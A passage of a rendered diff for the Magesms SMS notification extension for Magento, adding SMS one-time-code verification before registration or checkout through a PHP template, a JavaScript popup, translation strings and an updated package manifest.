please check your Mobile number."); ?></div><?php endif; ?></div>
app/design/frontend/base/default/template/topefekt/magesms/validate/mobile.phtml ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ ?><div class="account-login"><div class="page-title"><h1><?php echo $this->__('Login or Create an Account') ?></h1></div><?php echo $this->getMessagesBlock()->getGroupedHtml() ?><form action="<?php echo $this->getPostActionUrl() ?>" method="post" id="login-form"><div class="col1-set"><div class="col-1 registered-users"><div class="content"><h2><?php echo $this->__('SMS OTP') ?></h2><p><?php echo $this->__('Fill mobile number') ?></p><ul class="form-list"><li><label for="mobile" class="required"><em>*</em><?php echo $this->__('Mobile number') ?></label><div class="input-box"><input type="text" name="mobile" value="<?php echo $this->htmlEscape($this->getMobile()) ?>" id="mobile" class="input-text required-entry" <?php if ($this->getNext()): ?>readonly<?php endif;?> title="<?php echo $this->__('Mobile number') ?>" /></div></li><?php if ($this->getNext()): ?><li><label for="code" class="required"><em>*</em><?php echo $this->__('Code') ?></label><div class="input-box"><input type="text" name="code" value="" id="code" class="input-text required-entry" title="<?php echo $this->__('Code') ?>" autocomplete="off" /></div></li><?php endif;?><li><div class="input-box"><button type="submit" class="button" title="<?php echo $this->__('Next') ?>" name="send" id="send2"><span><span><?php echo $this->__('Next') ?></span></span></button></div></li></ul></div></div></div><!--<div class="col1-set"><div class="col-1 registered-users"><div class="buttons-set"><button type="submit" class="button" title="" name="send" id="send2"><span><span></span></span></button></div></div></div>--></form><script type="text/javascript">//<![CDATA[
17
+ var dataForm = new VarienForm('login-form', true);
18
+ //]]></script></div>
app/etc/modules/Topefekt_Magesms.xml CHANGED
@@ -4,6 +4,9 @@
4
  <Topefekt_Magesms>
5
  <active>true</active>
6
  <codePool>community</codePool>
 
 
 
7
  </Topefekt_Magesms>
8
  </modules>
9
  </config>
4
  <Topefekt_Magesms>
5
  <active>true</active>
6
  <codePool>community</codePool>
7
+ <depends>
8
+ <Mage_Checkout/>
9
+ </depends>
10
  </Topefekt_Magesms>
11
  </modules>
12
  </config>
app/locale/cs_CZ/Topefekt_Magesms.csv CHANGED
@@ -512,3 +512,11 @@
512
  "Manually","Manuálně"
513
  "SMS opt-out - setting Marketing SMS opt-out option for the customer from the user profile","SMS opt-out - nastavení odhlášení Marketingových SMS z uživatelského profilu zákazníka"
514
  "Activate displaying Marketing SMS opt-out feature in the user profile","Aktivuj zobrazení opt-out funkce pro Marketingové SMS v uživatelském profilu"
 
 
 
 
 
 
 
 
512
  "Manually","Manuálně"
513
  "SMS opt-out - setting Marketing SMS opt-out option for the customer from the user profile","SMS opt-out - nastavení odhlášení Marketingových SMS z uživatelského profilu zákazníka"
514
  "Activate displaying Marketing SMS opt-out feature in the user profile","Aktivuj zobrazení opt-out funkce pro Marketingové SMS v uživatelském profilu"
515
+ "Undelivered only:","Pouze nedoručené:"
516
+ "OTP before registration","Ověření zákazníka před registrací"
517
+ "OTP insert into registration form","Ověření v registračním formuláři"
518
+ "OTP SMS","Ověření telefonního čísla"
519
+ "SMS code was sent to","SMS kód byl zaslán na"
520
+ "Fill your SMS code","Zadejte Váš SMS kód"
521
+ "Fill your Mobile number","Zadejte Vaše mobilní číslo"
522
+ "If you didn't receive your SMS Code, please check your Mobile number.","Pokud jste neobdrželi SMS kód, zkontrolujte si prosím Vaše mobilní číslo."
app/locale/de_DE/Topefekt_Magesms.csv CHANGED
@@ -543,3 +543,10 @@
543
  "Manually","manuell"
544
  "SMS opt-out - setting Marketing SMS opt-out option for the customer from the user profile","SMS opt-out - setting Marketing SMS opt-out option for the customer from the user profile"
545
  "Activate displaying Marketing SMS opt-out feature in the user profile","Activate displaying Marketing SMS opt-out feature in the user profile"
 
 
 
 
 
 
 
543
  "Manually","manuell"
544
  "SMS opt-out - setting Marketing SMS opt-out option for the customer from the user profile","SMS opt-out - setting Marketing SMS opt-out option for the customer from the user profile"
545
  "Activate displaying Marketing SMS opt-out feature in the user profile","Activate displaying Marketing SMS opt-out feature in the user profile"
546
+ "OTP before registration","OTP before registration"
547
+ "OTP insert into registration form","OTP insert into registration form"
548
+ "OTP SMS","Verifikation der Telefonnummer"
549
+ "SMS code was sent to","SMS Kode wurde gesendet"
550
+ "Fill your SMS code","Geben Sie Ihre SMS Kode ein"
551
+ "Fill your Mobile number","Geben Sie Ihren Handynummer"
552
+ "If you didn't receive your SMS Code, please check your Mobile number.","Wenn Sie den SMS Kode nicht erhalten haben, überprüfen, Sie bitte Ihre Handynummer."
app/locale/sk_SK/Topefekt_Magesms.csv CHANGED
@@ -511,3 +511,11 @@
511
  "Manually","manuálne"
512
  "SMS opt-out - setting Marketing SMS opt-out option for the customer from the user profile","SMS opt-out – nastavenie odhlásenia Marketingových SMS z užívateľského profilu zákazníka"
513
  "Activate displaying Marketing SMS opt-out feature in the user profile","Aktivuj zobrazenie opt-out funkcie pre Marketingové SMS v užívateľskom profile"
 
 
 
 
 
 
 
 
511
  "Manually","manuálne"
512
  "SMS opt-out - setting Marketing SMS opt-out option for the customer from the user profile","SMS opt-out – nastavenie odhlásenia Marketingových SMS z užívateľského profilu zákazníka"
513
  "Activate displaying Marketing SMS opt-out feature in the user profile","Aktivuj zobrazenie opt-out funkcie pre Marketingové SMS v užívateľskom profile"
514
+ "Undelivered only:","Iba nedoručené:"
515
+ "OTP before registration","Overenie zákazníka pred registráciou"
516
+ "OTP insert into registration form","Overenie pri registrácii"
517
+ "OTP SMS","Jednorázové SMS heslo pre overenie"
518
+ "SMS code was sent to","SMS kód bol zaslaný na"
519
+ "Fill your SMS code","Vyplňte Váš SMS kód"
520
+ "Fill your Mobile number","Vyplňte Vaše mobilné číslo"
521
+ "If you didn't receive your SMS Code, please check your Mobile number.","Pokiaľ ste neobdržali SMS kód, skontrolujte si prosím Vaše mobilné číslo."
js/topefekt/smsvalid.js ADDED
@@ -0,0 +1,115 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ var magesmsValid = function() {
2
+ $$('#form-validate button').each(function(element) {
3
+ element.observe('click', function(e) {
4
+ if (dataForm.validator.validate()) {
5
+ showMagesmsPopup(magesmsValidUrl);
6
+ }
7
+ e.stop();
8
+ });
9
+ });
10
+ };
11
+ document.observe("dom:loaded", function() {
12
+ magesmsValid();
13
+ });
14
+
15
+ var oPopup;
16
+ function showMagesmsPopup(sUrl) {
17
+ oPopup = new Window({
18
+ id:'magesms_validate_popup',
19
+ className: 'magento',
20
+ //url: sUrl,
21
+ title: Translator.translate('OTP SMS'),
22
+ width: 400,
23
+ height: 180,
24
+ minimizable: false,
25
+ maximizable: false,
26
+ showEffectOptions: {
27
+ duration: 0.4
28
+ },
29
+ hideEffectOptions:{
30
+ duration: 0.4
31
+ },
32
+ destroyOnClose: true
33
+ });
34
+ oPopup.setZIndex(100);
35
+ oPopup.showCenter(true);
36
+ var mobile = '';
37
+ var code = '';
38
+ if ($('code')) {
39
+ code = $('code').value;
40
+ mobile = '';
41
+ } else {
42
+ var params = ['mobilenumber', 'mobile_number', 'phone', 'phone_number', 'telephone', 'mobile', 'mobilephone', 'billing:telephone'];
43
+ for (var i in params) {
44
+ var m = $(params[i]);
45
+ if (m && m.value) {
46
+ mobile = m.value;
47
+ break;
48
+ }
49
+ }
50
+ }
51
+ new Ajax.Request(sUrl, {
52
+ method: 'get',
53
+ parameters: {smsnumber:mobile, code:code},
54
+ //asynchronous: false,
55
+ onSuccess: function(transport) {
56
+ var response = transport.responseText.evalJSON();
57
+ oPopup.setHTMLContent(response.html);
58
+ if ($('code'))
59
+ $('code').focus();
60
+ else
61
+ $('smsnumber').focus();
62
+ }
63
+ });
64
+
65
+ }
66
+
67
+ function closePopup() {
68
+ Windows.close('magesms_validate_popup');
69
+ }
70
+
71
+ function magesmsValidateNumber(next) {
72
+ var parameters = {};
73
+ if (next) {
74
+ var code = $('code');
75
+ if (!code.value) {
76
+ alert(Translator.translate('This is a required field.'));
77
+ code.focus();
78
+ return;
79
+ }
80
+ parameters = {code: code.value};
81
+ } else {
82
+ var smsnumber = $('smsnumber');
83
+ if (!smsnumber.value) {
84
+ alert(Translator.translate('This is a required field.'));
85
+ smsnumber.focus();
86
+ return;
87
+ }
88
+ parameters = {smsnumber: smsnumber.value};
89
+ }
90
+ new Ajax.Request(magesmsValidUrl, {
91
+ method: 'get',
92
+ parameters: parameters,
93
+ //asynchronous: false,
94
+ onSuccess: function(transport) {
95
+ var response = transport.responseText.evalJSON();
96
+ if (response.error) {
97
+ alert(response.error);
98
+ } else {
99
+ if (response.validate) {
100
+ closePopup();
101
+ if (response.order) {
102
+ review.save();
103
+ } else if (response.checkout) {
104
+ billing.otpValid = true;
105
+ billing.saveOTP();
106
+ } else {
107
+ $('form-validate').submit();
108
+ }
109
+ }
110
+ oPopup.setHTMLContent(response.html);
111
+ $('code').focus();
112
+ }
113
+ }
114
+ });
115
+ }
package.xml CHANGED
@@ -1,18 +1,18 @@
1
  <?xml version="1.0"?>
2
  <package>
3
  <name>TOPefekt_Magesms</name>
4
- <version>1.4.7</version>
5
  <stability>stable</stability>
6
  <license uri="http://opensource.org/licenses/BSD-3-Clause">BSD</license>
7
  <channel>community</channel>
8
  <extends/>
9
  <summary>SMS notification &amp; SMS marketing module for Magento</summary>
10
  <description>Free SMS module for Magento with advanced features and user friendly design.</description>
11
- <notes>2014-2016</notes>
12
  <authors><author><name>Frantisek Barancik</name><user>SIRAPY</user><email>barancik@sirapy.cz</email></author><author><name>Lubomir Kozak</name><user>TOPefekt</user><email>info@topefekt.com</email></author></authors>
13
- <date>2016-05-23</date>
14
- <time>11:21:30</time>
15
- <contents><target name="magecommunity"><dir name="Topefekt"><dir name="Magesms"><dir name="Block"><dir name="Answers"><file name="Grid.php" hash="b4161fe0c9f84ae2842ad1c5b1fee67b"/><dir name="Renderer"><file name="Actions.php" hash="8978857641921533a7ef1a511d6e98cc"/><file name="Smsc.php" hash="dec1e2ffb867499edaf2660e83a1f763"/></dir></dir><file name="Answers.php" hash="d8e8f1ddc9dc2c200d48ba61fd45f258"/><file name="Cart.php" hash="2c0ac0bef513ef5efaea2cc7456c4aa8"/><dir name="Customer"><file name="Grid.php" hash="01cd30df42024487ddbb85dc805b29f2"/><file name="Marketing.php" hash="b93b4943ce65dd80a201219470ac71e4"/></dir><file name="Customer.php" hash="8817fa3634895fb9317fc7c979f326fa"/><file name="Magesms.php" hash="80c1ac3571e5305b9a18a332d50d3598"/><dir name="Marketing"><file name="Customer.php" hash="c664bce07fd6d820239951ccf149abc8"/><file name="Form.php" hash="921793ef2a4c1b6095c95a187c01a032"/><file name="Grid.php" hash="6866d29549f350f009971deda49f31f7"/><file name="Template.php" hash="1f48e5754feb003ff361824ca0e29ebb"/></dir><file name="Marketing.php" hash="298b9175edc892566097f199f95f0d95"/><file name="Profile.php" hash="87be5911ea730b61179eaa43274ed031"/><dir name="System"><dir name="Config"><file name="Apikeygenerator.php" hash="9b5f9256de21a985efbacbbc00032296"/></dir></dir><dir name="Template"><file name="Template.php" hash="4713fdc848c5f1d5ab771011df11ff40"/></dir><file name="Template.php" hash="1420e7b7615214a3cfe8ef87d86ebd1a"/><dir name="Wizard"><file name="Grid.php" hash="62ea044623fda139cdc23e8a768d1b60"/></dir><file name="Wizard.php" hash="ef10fbfc80385cb9e90e7a6bfbf555f4"/></dir><dir name="Controller"><file name="Action.php" hash="a12f3ca7279da57be21521e7e1f33b7b"/><dir name="Template"><file name="Action.php" hash="47a1638a2585689ad69648aba132c188"/></dir></dir><dir name="Helper"><dir name="Adminhtml"><file name="Data.php" hash="ebf8c3ac5f4ede5e30218f307c60c9c3"/></dir><file name="Data.php" hash="094b5c45e8959916dc7277845837f62c"/></dir><dir name="Model"><file name="Admins.php" hash="ced35da523fa261708ca76bf09744492"/><file name="Answers.php" hash="33fcc03e70064860f47b17291b2682ec"/><file name="Api.php" hash="494f0ed5fd6747dd9aef6d1abbea1efc"/><dir name="Country"><file name="Area.php" hash="4268548148d51c519328472ae744e0cd"/><file name="Lang.php" hash="1c47ceb19d913853c9ee7ab9b50f010a"/></dir><file name="Country.php" hash="6ea4a1f25f0c43c14392903328bbf794"/><file name="Exceptions.php" hash="062cfa6c80662f2bc7bbe53817f2916b"/><dir name="Hooks"><file name="Admins.php" hash="c42b32a696e6101f50dc67942d738e6d"/><file name="Customers.php" hash="cc275a7f7c738174b420bd3c3301f79d"/><file name="Templates.php" hash="bcf959ff2f2c84bc8f287e5d7dfd637a"/><file name="Unicode.php" hash="351a49d393871e186921a98376aaa5bb"/></dir><file name="Hooks.php" hash="db9bf0a09939c22d27925d3e915d6fd7"/><file name="Magesms.php" hash="e299fef5c1617dc2aba79861a170ee57"/><file name="Maps.php" hash="f1d81668d4afaa3c12b90e93a4dc6a8a"/><dir name="Marketing"><dir name="Filter"><file name="Birthday.php" hash="56d6e9638c2548a9dabd86548609d04d"/><file name="Birthdayall.php" hash="81b3dd750820746bf39f6fd094626683"/><file name="City.php" hash="851bf11fa4eba68f5afe90bc73061075"/><file name="Collection.php" hash="a59b5af9d4dbdb3a4f4d2a319991526a"/><file name="Country.php" hash="226ea48e858db867cad73ec5df430481"/><file name="Firstname.php" hash="d2fb9d1c18d65616e85b94a19d937303"/><file name="Gender.php" hash="08583ec548a718fd598db0c8382f8fea"/><file name="Group.php" hash="5ae6a9e763a228d66dec97d6edd9504b"/><file name="Lastname.php" hash="4ce733ed97662ae7e3b9bd7fd09a9b23"/><file name="Newsletter.php" hash="e32e2584c4a5b4e83774c90ca8e03d21"/><file name="Orderssum.php" hash="703f8b1d324f890df6f27d917b21cf07"/><file name="Product.php" hash="249591224a294cf410a004c5654eed7b"/><file name="Register.php" hash="18462dd6abae0d72f6863a285364885a"/><file name="Type.php" hash="49b3fefa77c399003a60edc716a19810"/><file name="Website.php" hash="998fa5822c12e7e10a9363c74922d25f"/></dir><file name="Filter.php" hash="f0608c6d7be5c646068ca30f58cd02b0"/></dir><dir name="Mysql4"><dir name="Admins"><file name="Collection.php" hash="c1ada270e5c640cc77beca20a90c06c1"/></dir><file name="Admins.php" hash="c1efc07554a47ddd61add948f8d7184d"/><dir name="Answers"><file name="Collection.php" hash="e0d1dfb4666cd442105b786cd8e1938b"/></dir><file name="Answers.php" hash="9b116c0acd6598b22fda9a3f7bfd0e1f"/><file name="Collection.php" hash="0713d799c11bcc14437ca3924d0aae0f"/><dir name="Country"><dir name="Area"><file name="Collection.php" hash="57076e9ef2eaee34ede11fd2b8c079ea"/></dir><file name="Area.php" hash="cb14e562273148090fcafe17a5764dcf"/><file name="Collection.php" hash="9d1c5aa0e9d956d98e45706dd24dc0f0"/><dir name="Lang"><file name="Collection.php" hash="5784492b259d0636c5c37f3f945873cf"/></dir><file name="Lang.php" hash="45c61334ccc799908468603a1601f75f"/></dir><file name="Country.php" hash="b50b98ef7d7787168b38dea4bc7e69bb"/><dir name="Exceptions"><file name="Collection.php" hash="0f27011bb167d3686149edcea2cf9af0"/></dir><file name="Exceptions.php" hash="087363570c7e19e98343508fde136b71"/><dir name="Hooks"><dir name="Admins"><file name="Collection.php" hash="08c59f372ae4d724d1451836df655deb"/></dir><file name="Admins.php" hash="0b97679a105c98c53fb27e6f35cc49da"/><file name="Collection.php" hash="a666646a5aac0d8a7366c054180d1d0f"/><dir name="Customers"><file name="Collection.php" hash="9f85b8e63521abcc575d717eaca6f7b0"/></dir><file name="Customers.php" hash="446451f0e038bc5b25ec0d3032a608a9"/><dir name="Templates"><file name="Collection.php" hash="10d674db501bdd93bfc11e0411be53b2"/></dir><file name="Templates.php" hash="b9d88cc611aa7c5ea369d9b4056a3858"/><dir name="Unicode"><file name="Collection.php" hash="e30a9e81400f25829b89d8fa4927e4e7"/></dir><file name="Unicode.php" hash="930b9f23e7b0674cef75898bebd8d4f5"/></dir><file name="Hooks.php" hash="db0d3898325974475d39f0dd786a0c7d"/><dir name="Maps"><file name="Collection.php" hash="2b8609291dc25d2445b1c168024c1783"/></dir><file name="Maps.php" hash="21e7e04096b879db02971223dbf11a1a"/><dir name="Marketing"><dir name="Filter"><file name="Collection.php" hash="ee5bfddfe067a317c94b62eea4e59aeb"/></dir><file name="Filter.php" hash="42342671cb9bcbca71165ffffa7d309d"/></dir><dir name="Optout"><dir name="Order"><file name="Collection.php" hash="7b593f45e990a0325bec3cf326b85c5c"/></dir><file name="Order.php" hash="5b2e04f86251001203fb858f451672b4"/></dir><dir name="Ownnumbersender"><file name="Collection.php" hash="0f77ebc089da24e306dc2616178fab35"/></dir><file name="Ownnumbersender.php" hash="0b8963a836de22ff2c54ec8a6f0819bd"/><dir name="Routes"><dir name="Alternative"><file name="Collection.php" hash="dd8908e3c72bef9a4d54ab4d04119fc9"/></dir><file name="Alternative.php" hash="0b07c80a9b35a1dc6f16e310614ddbda"/><file name="Collection.php" hash="9a9f26422877c0ff82f5bc3a6865ed1f"/></dir><file name="Routes.php" hash="f500ad3e8d96b8742a194015acdd4c58"/><dir name="Smshistory"><file name="Collection.php" hash="76f838ee4e14af4789e494badf46ad84"/></dir><file name="Smshistory.php" hash="15edfec649fa894ec310e3e37d97f694"/><dir name="Smsuser"><file name="Collection.php" hash="dad8d028a32e3a860d254c0957f9d23f"/></dir><file name="Smsuser.php" hash="b9913d6c444f646623d6e282f35e8a08"/><dir name="Template"><file name="Collection.php" hash="a9e237b2e23e64e7226a95d3e6e9a7dc"/></dir><file name="Template.php" hash="20a0aad89f43fa6716d96ece9f243000"/><dir name="Textsender"><file name="Collection.php" hash="1574273dc207231460977dce7af007a9"/></dir><file name="Textsender.php" hash="242e7ac5f28b7e7b8521e201fe7cf806"/><dir name="Variables"><file name="Collection.php" hash="0c249b390280ba16db97d3acd320fedb"/></dir><file name="Variables.php" hash="e364920ad4d1a69f33ec037184f27de7"/></dir><file name="Observer.php" hash="5428b86cf6deba25d46a42e697a58a90"/><dir name="Optout"><file name="Order.php" hash="a68d9c4ecc26abd7b142d6d27d672c70"/></dir><dir name="Overide"><dir name="Cataloginventory"><file name="Stock.php" hash="76e53307192e54dc08b0983288acdda3"/></dir></dir><file name="Ownnumbersender.php" hash="c209b3a3756491c3d9f30c1a9055361b"/><dir name="Routes"><file name="Alternative.php" hash="c52374301eb8e0726dc54e8b08b24a8d"/></dir><file name="Routes.php" hash="917bf19f5983ccafa6e61cd9cc1d8f13"/><file name="Sms.php" hash="89d44998c650e3fbe86bde6e2a0150d2"/><file name="Smshistory.php" hash="b96ef0d1f609d28159c5a03777c953ce"/><file name="Smsprofile.php" hash="4ff023aa338c1eab827448e2c0712852"/><file name="Smsuser.php" hash="1f4906fe7a288e95de706b1343f5b985"/><dir name="System"><dir name="Config"><file name="Connector.php" hash="3ef5e9df58b5a5e8d98e03988567e84f"/><file name="Customergroups.php" hash="6fe24aebeb8fcfe5f76a5c8aa214259e"/><file name="Lang.php" hash="c5b7d2bc3a80a67dc15faf3f6c25a5d9"/></dir></dir><file name="Template.php" hash="8590ec1c798028e5025bf866629bf719"/><file name="Textsender.php" hash="589c0a2087ba27d6e5310796b60e6a48"/><file name="Variables.php" hash="12844fb6fc0c4258cdcbb8d6b5343fc9"/></dir><file name="api_test1.php" hash="8a71c6b1d085ee65b3bde60c20379c9d"/><file name="api_test2.php" hash="6c1d19f8fc1e8a71a1f3129541939262"/><file name="api_test3.php" hash="9c162033d327a93bc974aa20804c161d"/><dir name="controllers"><dir name="Adminhtml"><dir name="Magesms"><file name="AboutController.php" hash="797974eeee237c88f281c95c9297d6e0"/><file name="AdminsmsController.php" hash="d0973271ca8c86e80bc5136749b0fe23"/><file name="AnswersController.php" hash="ca05a9506f32a90ff359f01f90ff7031"/><file name="CustomersmsController.php" hash="6ff6ed4d2b2811f89d5c02b164b76f16"/><file name="HistoryController.php" hash="965c9ffc7f8618b2e9c6a34b392a013f"/><file name="MarketingController.php" hash="de1808509b1a7d460ce870efff5421e4"/><file name="OptoutController.php" hash="d8b23bd54ec7db61a1dd62a47eb4a90d"/><file name="ProfileController.php" hash="2590bbd90397610ce5a98c60746c0cb0"/><file name="PurchasecreditController.php" hash="869c5581903579d2942970bd23bda402"/><file name="SendsmsController.php" hash="7991f930efaadbf7d4cdcef311db0dd5"/><file name="StatisticsController.php" hash="1536300fad73ddb64d9f4ed0501ac1a7"/><file name="WizardController.php" hash="913998bdab09e83c75f10ea20b07957e"/></dir></dir><file name="ApiController.php" hash="cc4efd6d2dfed453d1d9343430f54429"/><file name="CartController.php" hash="45c47abb7ba1da922a0ea1a74bea61a5"/><file name="DeliveryController.php" hash="8f604254b6c19c9adb84bea325e3c8ea"/><file name="IndexController.php" hash="ebc25dd160c958883f7ed4f0f4c9bfad"/><file name="MarketingController.php" hash="463bc960d49aa3488f7bb6d08f9f8890"/></dir><dir name="data"><dir name="magesms_setup"><file name="data-install-1.0.0.php" hash="5df79e7e9193abbac12191f35c4d45a9"/><file name="data-upgrade-1.0.1-1.0.2.php" hash="c3a7d79bad8ba1d3ccc574fab0e61ba9"/><file name="data-upgrade-1.0.3-1.0.4.php" hash="f7b7c22abd1adb57dcd01f8f0f60fd78"/><file name="data-upgrade-1.1.0-1.1.1.php" hash="52af14629fdfd0510978ade963fc6e3c"/><file name="data-upgrade-1.1.1-1.1.2.php" hash="36256c476fa3d6d4446adbc2f657fe24"/><file name="data-upgrade-1.2.0-1.2.1.php" hash="2793e299f198d54691031dd8b5ac6a87"/><file name="data-upgrade-1.3.1-1.3.2.php" hash="4f24b19e61f240763e5d5d68f6990254"/></dir></dir><dir name="etc"><file name="adminhtml.xml" hash="c2d230b8d13c840b79d44bec82fdf35b"/><file name="config.xml" hash="86126b5fa1c60c23c8fe0a4e06528ccd"/><file name="system.xml" hash="83d21ce7ada1858fa0bdddd3bec6b081"/></dir><dir name="sql"><dir name="magesms_setup"><file name="mysql4-install-0.9.0.php" hash="b3d8975e98cb1cfe12194d7a18bbfc2f"/><file name="mysql4-install-1.0.0.php" hash="893524c893aff9e37dc19e320803b9d9"/><file name="mysql4-upgrade-0.9.11-0.9.12.php" hash="765533b9d6f9fa987949c0a5f73ff37d"/><file name="mysql4-upgrade-0.9.12-0.9.13.php" hash="0d3ea4875bd51593c8113805402e58fd"/><file name="mysql4-upgrade-1.0.1-1.0.2.php" hash="bee320d69dbffaabd111635e0310e4fb"/><file name="mysql4-upgrade-1.1.3-1.1.4.php" hash="9f62256f35510d4b4b17ea8f84c77a49"/><file name="mysql4-upgrade-1.1.5-1.2.0.php" hash="1c1697a6910273445e80ae58d3185802"/><file name="mysql4-upgrade-1.3.3-1.3.4.php" hash="e9b37529bfe1075a3704947ec62365e1"/><file name="mysql4-upgrade-1.3.6-1.4.0.php" hash="a418e9a0314c3eb3a276b19ce4d1b125"/><file name="mysql4-upgrade-1.4.0-1.4.1.php" hash="cacfb46f4fa5ecc2ad961219d2cfe2f2"/><file name="mysql4-upgrade-1.4.1-1.4.2.php" hash="3e74d36935fab558f7a99807f06372e8"/><file name="mysql4-upgrade-1.4.2-1.4.3.php" hash="b3c30b8a6d0d3e78645700eb3d73741c"/><file name="mysql4-upgrade-1.4.4-1.4.5.php" hash="a2ceb1415acd8448b60ae5e6e66d12f7"/><file name="mysql4-upgrade-1.4.5-1.4.6.php" hash="4ca5fceef781f41ca4f2fc6bafd24426"/></dir></dir></dir></dir></target><target name="magedesign"><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="template"><dir name="topefekt"><dir name="magesms"><file name="about.phtml" hash="915f3356c5819a3d7373865f665d626f"/><file name="adminsms.phtml" hash="5ff9bfdacad686bc40f657bc2b7a6098"/><file name="customersms.phtml" hash="8f8ddcf63d8087e9d1591a071fb760ed"/><file name="history.phtml" hash="27325466405ae1a33f93978434b4ad11"/><dir name="marketing"><file name="customer.phtml" hash="5d56650f36d41535808dbcc9f0670e35"/><file name="form.phtml" hash="37a354655ae727480d779c6775d227f2"/></dir><file name="marketing.phtml" hash="fa7e6992f88380e7c9e9a4632e0070fd"/><file name="optout.phtml" hash="435ebd01535920e65a1ec23e8b8987e4"/><file name="profile.phtml" hash="7aa0f7b562bb8a6e4c4fc07f7058d144"/><file name="purchasecredit.phtml" hash="0ec35354e68a85b0fff078f9a8b14d96"/><file name="sendsms.phtml" hash="3a2f21302e2b246d149998bfdfea95d9"/><file name="statistics.phtml" hash="dd708338a0a5ad36bb10141ad394ea22"/><dir name="template"><file name="form.phtml" hash="e6a006574345ef9e85e28251310d96ec"/></dir><file name="wizard-alternative.phtml" hash="53128ea65c7eb6ea80faac040c0d63f2"/><file name="wizard-edit.phtml" hash="e247901a92b290fcb85128b4a08ee91d"/><file name="wizard-list.phtml" hash="cee281d28e0b61f93c0acb90f064c922"/><file name="wizard-sender.phtml" hash="3ff2f15bf3e6db24f2e771f7aa2a500b"/><file name="wizard.phtml" hash="d0a70bb920e76604959c48de8fe57c84"/></dir></dir></dir></dir></dir></dir><dir name="frontend"><dir name="base"><dir name="default"><dir name="template"><dir name="topefekt"><dir name="magesms"><file name="cart.phtml" hash="b5c482d8114325b9bce25294b5ce7aa5"/><file name="marketing-dashboard.phtml" hash="b7c21fce88ca27326f068fbdab0f8752"/></dir></dir></dir><dir name="layout"><file name="magesms.xml" hash="cf848296146ba48c4370a7a20abc8561"/></dir></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="Topefekt_Magesms.xml" hash="d88282bf3409717dcc6c8d36102480a3"/></dir></target><target name="magelocale"><dir><dir name="ar_DZ"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_EG"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_KW"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_MA"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_SA"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_TN"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="cs_CZ"><file name="Topefekt_Magesms.csv" hash="091179074552be310f97e5dd96124ac8"/></dir><dir name="de_DE"><file name="Topefekt_Magesms.csv" hash="2c05b44f965e8a17277d14792dda436a"/></dir><dir name="el_GR"><file name="Topefekt_Magesms.csv" hash="def3470a06e89604d000479d3fbc5649"/></dir><dir name="en_US"><file name="Topefekt_Magesms.csv" hash="de6f05c8c7e1af5e37e475357d3f3e5c"/></dir><dir name="es_ES"><file name="Topefekt_Magesms.csv" hash="e88931ea619b708625b96bfa2bdab0a1"/></dir><dir name="fr_FR"><file name="Topefekt_Magesms.csv" hash="4f01cbb169ce54e5069632a1b22a2a77"/></dir><dir name="it_IT"><file name="Topefekt_Magesms.csv" hash="ea3dce757fa19d95437b5f52a9d5b833"/></dir><dir name="pl_PL"><file name="Topefekt_Magesms.csv" hash="428899edeec08c9dc5496d63ddb6f485"/></dir><dir name="pt_PT"><file name="Topefekt_Magesms.csv" hash="51e0cf0d0ad86ca04c52483431909c73"/></dir><dir name="ru_RU"><file name="Topefekt_Magesms.csv" hash="203254e79750c318fd1a962b53ba5f99"/></dir><dir name="sk_SK"><file name="Topefekt_Magesms.csv" hash="3d2bc7f5b34bba451a2ee045384d1601"/></dir><dir name="sr_RS"><file name="Topefekt_Magesms.csv" hash="baacb65296f8f765aaf1ee7060103979"/></dir><dir name="sv_SE"><file name="Topefekt_Magesms.csv" hash="de93f7f6d786b9b747248cea68a37b30"/></dir><dir name="tr_TR"><file name="Topefekt_Magesms.csv" hash="49a293f3d27295172c6eed390a812d08"/></dir></dir></target><target name="magemedia"><dir name="magesms"><file name="About.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="AdminCatalog.gif" hash="2500d6277ec65b73cec8e858e8f3e5ef"/><file name="AdminCustomers.gif" hash="2575dfefce12bc9451e4dfa1e0972a1e"/><file name="AdminEmployees.gif" hash="cdb742ba271aae8e0f5129e9422d8480"/><file name="AdminOrders.gif" hash="b0b296f24674d37c3749a4c68e014173"/><file name="AdminSms.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="AdminSmsProfile.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="AdminTools.gif" hash="a3d566311d5cdd11470e60a30c4f1a1d"/><file name="CustomerSms.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="Empty.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="PayPal123.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SendSms.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsAnswers.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsCharging.gif" 